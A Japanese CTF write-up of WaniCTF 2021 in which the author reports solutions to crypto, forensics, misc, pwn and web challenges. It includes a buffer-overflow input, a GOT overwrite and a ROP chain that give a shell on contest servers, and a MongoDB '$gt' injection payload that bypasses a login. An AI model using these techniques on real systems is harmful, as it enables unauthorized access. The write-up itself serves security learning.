概要
先週末の2日間にかけて行われた、WaniCTF 2021に参加してきました。
本記事は、その際のWriteUpとなります。
結果は105/442th, 1930points、残念ながらバッジは1つも取得出来ず・・・・
復習として、解けた問題については自分の解答を、解けなかった問題に関しては自分なりの解答への道筋を記載しておきます。
環境
Windows + Kalilinux
プログラムはすべてPython3
解けた問題
Crypto
fox(Beginner)
What does the fox say?🦊
配布ファイルは以下。
19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
flag = b"FAKE{REDACTED}"
def bytes_to_int(B: bytes):
X = 0
for b in B:
X <<= 8
X += b
return X
print(bytes_to_int(flag))
以下のようにbyteに変換してフラグを求めました。
flag = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
print((flag.to_bytes(len(str(flag)), 'big')).decode('utf-8'))
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
なお、@kusano_kさんのWriteUpにも記載がありましたが、Crypto.Util.numbers
にlong_to_bytes
があります。
Forensics
propaganda(Beginner)
超人気ゲームをみんなでプレイしよう!
配布された動画を視聴してみると、どうやら一瞬だけフラグ文字列が表示されている模様。
適当な動画再生プレイヤーでコマ送りするなどして、フラグを確認。
FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}
partition01(Easy)
新しくUSBを買ったのでたくさんパーティションを作ってみました!
とりあえずで配布ファイルにstrings
をかけたら、フラグ文字列を見つけました。
また、明らかなダミーがたくさんあった事から、この解答は想定解答じゃなさそうです。
なお、パーティション名がフラグとなってます。
FLAG{GPT03}
poly(Normal)
お前...pngか...?
FLAGの中身はすべて小文字です.
配布された画像には、思いっきりMP3って書いてありました。怪しい。
配布された画像をバイナリエディタから開き、マジックナンバーをMP3に変更して、音声を再生してフラグを入手。
なお、mp3のマジックナンバーはFF F3 40 C0
です。
FLAG{thisismpng3}
Misc
binary(Beginner)
無線通信問題1問目です。
文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。
binary.csvは1列目が時刻、2列目がON-OFFの信号を表しています。
ASK、ASK over the airと進む中で無線通信の面白さが伝われば...と思っています。
「binary」はWaniCTF 2021-springとほぼ同じ問題なのでハードルが高いと感じる人は、「WaniCTF 2021-spring binary writeup」でぐぐりつつ解いてみてください。
問題文に素直に従い、WaniCTF 2021-spring binary writeup
でググったら、WaniCTF'21-spring Writeup - TSALVIA技術メモがヒット。
単純に、配布されたbinary.csv
をCyberChef
のFrom Binary
で文字列に変換するだけでした。
FLAG{binary-is-essential-for-communication}
Pwn
nc(Beginner)
nc nc.pwn.wanictf.org 9001
ヒント
netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
Linuxの基本的なコマンド集
pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。
nc繋げるだけでした。
nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}
BOF(Beginner)
よーし、今日も魔王を倒しに行くか!
...あれ、ふっかつのじゅもんが違う...だと...?
nc bof.pwn.wanictf.org 9002
ヒント
title を調べてみましょう。
配布ファイルには、ELFファイルとその元となるCのソースコードがありました。
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
char flag[0x34];
void setup() {
FILE *f = NULL;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
if ((f = fopen("flag.txt", "rt")) == NULL) {
printf("NotFound::flag.txt\n");
exit(0);
}
fscanf(f, "%s", flag);
fclose(f);
}
int main() {
char password[0x34] = "";
int ok = 0;
setup();
printf("ふっかつのじゅもんを いれてください\n");
gets(password);
if (strcmp(password, flag) == 0)
ok = 1;
if (ok) {
printf("よくぞもどられた!\n");
printf("%s\n", flag);
} else {
printf("じゅもんが ちがいます\n");
}
}
このコードではgets
関数を使って、変数password
を設定しています。よって、バッファオーバーフローが使えます。
変数passwordを汚染して、変数okの値をint型の1に書き換えました。
A
は52文字(password
のサイズ分)あります。
ふっかつのじゅもんを いれてください
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000000001
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}`
got rewriter(Easy)
nc got-rewriter.pwn.wanictf.org 9003
ヒント
「参考になるwriteupを探す練習」用の問題です。
CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。
問題のタイトル通り、GOT上書きを行う問題と考えました。
checksecすると、PIEが無効にされてるので本問題のELPファイル内のアドレスは固定されていそうです。
printf
と、念のためwin
関数のアドレスをobjdump
で確認。
objdump -d -M intel ./got | grep win
0000000000400807 <win>:
4009ad: 48 8d 05 53 fe ff ff lea rax,[rip+0xfffffffffffffe53] # 400807 <win>
objdump -d -M intel ./got | grep printf
00000000004006d0 <printf@plt>:
4006d0: ff 25 62 09 20 00 jmp QWORD PTR [rip+0x200962] # 601038 <printf@GLIBC_2.2.5>
4008be: e8 0d fe ff ff call 4006d0 <printf@plt>
4008e4: e8 e7 fd ff ff call 4006d0 <printf@plt>
400910: e8 bb fd ff ff call 4006d0 <printf@plt>
40092b: e8 a0 fd ff ff call 4006d0 <printf@plt>
400951: e8 7a fd ff ff call 4006d0 <printf@plt>
40096d: e8 5e fd ff ff call 4006d0 <printf@plt>
4009c3: e8 08 fd ff ff call 4006d0 <printf@plt>
$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.
*0x601038 <- 0x400807.
congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
exit
rop-machine-returns(Easy)
nc rop-machine-returns.pwn.wanictf.org 9004
ヒント
「参考になるwriteupを探す練習」用の問題です。
CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、それを読みながら少しずつ自分の技術力を高めていきます。
rop-machineを使った問題はWaniCTF'21-springでも出しています。
githubでwanictf rop writeupで検索すると何か出てくるかもしれません。
rop machineの使い方->wani-hackase/rop-machine
この問題でも、ELFファイルと元となるCソースコードが配布されていました。
pop rdi、"/bin/sh"アドレス、system関数、の順にROPを組みました。
nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!
"/bin/sh" address is 0x404070
[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
rop_arena
+--------------------+
| pop rdi; ret |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}
参考WriteUp:WaniCTF'21-spring Writeup - TSALVIA技術メモ
Reversing
解けなかった・・・あともう一歩届かない・・・
Web
POST Challenge(Easy)
HTTP POSTに関する問題を5つ用意しました。
すべて解いてFLAGを入手してください!
https://post.web.wanictf.org/
上記のURLへアクセスすると、下記の説明文とともに、小問題が5つ出題されていました。
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!
FLAGの形式は
FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]}
配布ファイルにapp.js
が含まれており、各問題ともにこのjsファイルに注視すれば良さそうです。
まず、小問題1
Challenge 1
https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください。
ふつうは入力欄があってそこに入力してボタンを押すとPOSTされるのですが、今回は入力欄がないので自分でツールを使ってPOSTリクエストを送信しましょう。 WSLやLinux環境がある人はcurlというコマンドが使用できると思います。pythonが使える人ならrequestsというライブラリが使いやすいです。 WaniCTFの問題画面から添付されたソースコードをダウンロードしてapp/app.jsを確認してみると、送信すべき内容がわかります。 また、POSTした後に帰ってくるレスポンスにrequest.bodyの内容を表示しているので活用してください。
app.post("/chal/1", function (req, res) {
let FLAG = null;
if (req.body.data === "hoge") {
FLAG = process.env.FLAG_PART1;
}
res.render("chal", { FLAG, chal: 1 });
});
data
の値をhoge
にしてPOSTすれば良さそうです。
curl -X POST -d "data=hoge" https://post.web.wanictf.org/chal/1
Congratulations! Challenge 1 FLAG: y0u
続いて、小問題2
Challenge 2
https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください。
添付されたソースコードのapp/app.jsを確認してみると、リクエストヘッダを確認して条件分岐をしていることがわかります。 challenge1のヒントで紹介したツールには、任意のリクエストヘッダを送信するためのオプションがあるので、調べてみてください。 また、POSTした後に帰ってくるレスポンスにrequest.headersの内容を表示しているので活用してください。
小問題1と同じデータで、ユーザーエージェントをMozilla/5.0にするだけ。
Burpではヘッダー情報が同じだけ、Burpの画面キャプチャは省略します。
app.post("/chal/2", function (req, res) {
// リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
let FLAG = null;
if (
req.headers["user-agent"].includes("Mozilla/5.0") &&
req.body.data === "hoge"
) {
FLAG = process.env.FLAG_PART2;
}
res.render("chal", { FLAG, chal: 2 });
});
curlでは、-A
オプションでユーザーエージェントを指定します。
curl -A "Mozilla/5.0" -X POST -d "data=hoge" https://post.web.wanictf.org/chal/2
curl -H "User-Agent: Mozilla/5.0" -X POST -d "data=hoge" https://post.web.wanictf.org/chal/2
Congratulations! Challenge 2 FLAG: ar3
参考:curlでUser-Agentを指定する方法 | ハックノート
続いて、小問題3。
Challenge 3
添付されたソースコードのapp/app.jsを確認してみると、data.hogeのような深いプロパティに対してチェックを行おうとしています。 このような場合はdataを連想配列形式にする必要があります。そのためには、keyにブラケット表記を用いるかJSON形式を使用します。
※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/3", function (req, res) {
let FLAG = null;
if (req.body.data?.hoge === "fuga") {
FLAG = process.env.FLAG_PART3;
}
res.render("chal", { FLAG, chal: 3 });
});
普通に多重配列data[hoge]=huga
としてPOSTします。
curl -X POST -d "data[hoge]=fuga" https://post.web.wanictf.org/chal/3
Congratulations! Challenge 3 FLAG: http
次は、小問題4。
Challenge 4
添付されたソースコードのapp/app.jsを確認してみると、送られたデータが数字やnullであるかチェックしています。 文字列ではなく数字やnullなどを送信したい場合はJSON形式で送信します。
※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/4", function (req, res) {
let FLAG = null;
if (req.body.hoge === 1 && req.body.fuga === null) {
FLAG = process.env.FLAG_PART4;
}
res.render("chal", { FLAG, chal: 4 });
});
リクエストのBODY
部のfuga
をnull
にしてPOSTしたいので、json形式でデータを指定してPOSTします。
curl -X POST -H "Content-Type: application/json" -d '{"hoge":1, "fuga":null}' https://post.web.wanictf.org/chal/4
Congratulations! Challenge 4 FLAG: p0st
参考:JSON のヌルおよび空の配列およびオブジェクトの処理 - IBM Documentation
そして、最後の小問題5。
Challenge 5
添付されたソースコードのapp/app.jsを確認してみると、送信されたファイルのハッシュをチェックしています。 画像を送信する時はmultipart/form-data形式を使用します。
※サーバ側の実装として受け取る形式をJSON形式で統一したい場合など例外あり
function md5file(filePath) {
const target = fs.readFileSync(filePath);
const md5hash = crypto.createHash("md5");
md5hash.update(target);
return md5hash.digest("hex");
}
app.post("/chal/5", function (req, res) {
let FLAG = null;
if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
FLAG = process.env.FLAG_PART5;
}
res.render("chal", { FLAG, chal: 5 });
});
最初は何故かMD5の値を求めてPOSTしようとしてましたが、上記のソースの通り、直接ファイルを指定してPOSTすればOKです。
certutil -hashfile wani.png md5
MD5 ハッシュ (対象 wani.png):
94c8748ae5083f7a6b60b3106995a2e8
CertUtil: -hashfile コマンドは正常に完了しました。
curl -X POST -H "Content-Type: multipart/form-data" -F "data=@wani.png" https://post.web.wanictf.org/chal/5
Congratulations! Challenge 5 FLAG: m@ster!
よって、小問題1~5を全部合わせて、
FLAG{y0u_ar3_http_p0st_m@ster!}
NoSQL(Norama)
NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。
https://nosql.web.wanictf.org/
上記のURLにアクセスすると、Username
とPassword
を指定するログインフォームがありました。
SQLiしてログインすれば良さそう。
配布ファイルのapp/routes/login.js
の記述から、MongoDBが使用されている事が分かります。
var express = require("express");
var router = express.Router();
const { MongoClient } = require("mongodb");
const uri = "mongodb://root:aduhwsfeok@mongo:27017?writeConcern=majority";
router.get("/", function (req, res, next) {
res.render("login");
});
router.post("/", async function (req, res) {
const client = new MongoClient(uri);
try {
if (!req.body.username || !req.body.password) {
throw "error";
}
await client.connect();
const user = await client.db("nosql").collection("users").findOne({
username: req.body.username,
password: req.body.password,
});
if (!user) {
throw "error";
}
req.session.user = user;
res.redirect("/");
} catch (error) {
const debug = JSON.stringify({
username: req.body.username,
password: req.body.password,
});
res.render("login", { message: "ログインに失敗しました", debug });
} finally {
client.close();
}
});
module.exports = router;
という訳で、NoSQLのSQLiを実行。
以下のjson
データをPOSTしてログインできる。
(他のWriteUpでも記載されている通り、$ne
演算子でもSQLiは成功します。)
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
FLAG{n0_sql_1nj3ction}
解けなかった問題
Crypto
手も足もでない問題が多かった・・・
dango(Easy)
Sweet curve(Normal)
AES-NOC(Hard)
Flag Service(Very hard)
Forensics
sonic(Easy)
妖怪からのメッセージです.
音量注意!
音声のステガノ??
ステガノの知識については明るくないので、とりあえずAudacity
をインスコしましたが、全然分かりませんでした・・・
他の方のWriteUpを読むと、スペクトグラム形式で表示するとフラグが見れるとの事。
画像って音に変換できるんですね・・・!
partition02(Hard)
FLAG01とFLAG02にflag画像を分割して入れておきました.
添付のファイルは"partition01"と同じものです.
FTKImagerでflag01.pngとflag02.pngを発見。
そして、PNGファイルと同じ階層に"flag01.png" is the 2nd part of "patition01" FLAG.
,"flag02.png" is the 2nd part of "patition02" FLAG.
と記載のあるTXTファイルも発見。
なるほど、ではではcat
でファイルを結合して・・・・
cat flag01.png flag02.png > outfile.png
ナニコレ????
この状態から先に進めず、断念。
あと一歩届かず。
Discodeで質問した所、flag01.pngの末尾が1KiB分の00で埋まっている事が分かりました。
kusano_kさん、ご回答ありがとうございました。
TXTファイルの内容を鵜呑みにして、PNGファイルの内容をキチンと確認してなかったのが敗因です・・・・
という訳で、flag01.png末尾の00を除去してから、flag02.pngと結合すると・・・
dd if=flag01.png of=flag001.png bs=15K count=1
cat flag001.png flag02.png > out.png
フラグが見えました!
確認は大事ですね・・・・
参考
- 【 dd 】コマンド――ブロック単位でファイルをコピー、変換する:Linux基本コマンドTips(163) - @IT
- ddコマンドでファイルを作成する - Qiita
- バイナリレベルでの調査に使用するLinuxコマンドメモ
おまけメモ
UACに怒られてFTK Imagerが起動できない場合、cmdを管理者権限で実行する事で、cmdからFTK Imagerを起動できるようになります。
breakRAID(Very hard)
Misc
Pwn
Reversing
Web
sourcemap(Beginner)
へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...
え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?
https://sourcemap.web.wanictf.org
こ、これがBeginner・・・???
とりあえず、適当にブレークポイント張って、フラグ文字列出てそうな箇所を少しずつ探して・・・・・
ってやってたら、時間が足りませんでした。
ソースマップのコメントにフラグが書いてある!?
そりゃあ、Beginnerですね・・・・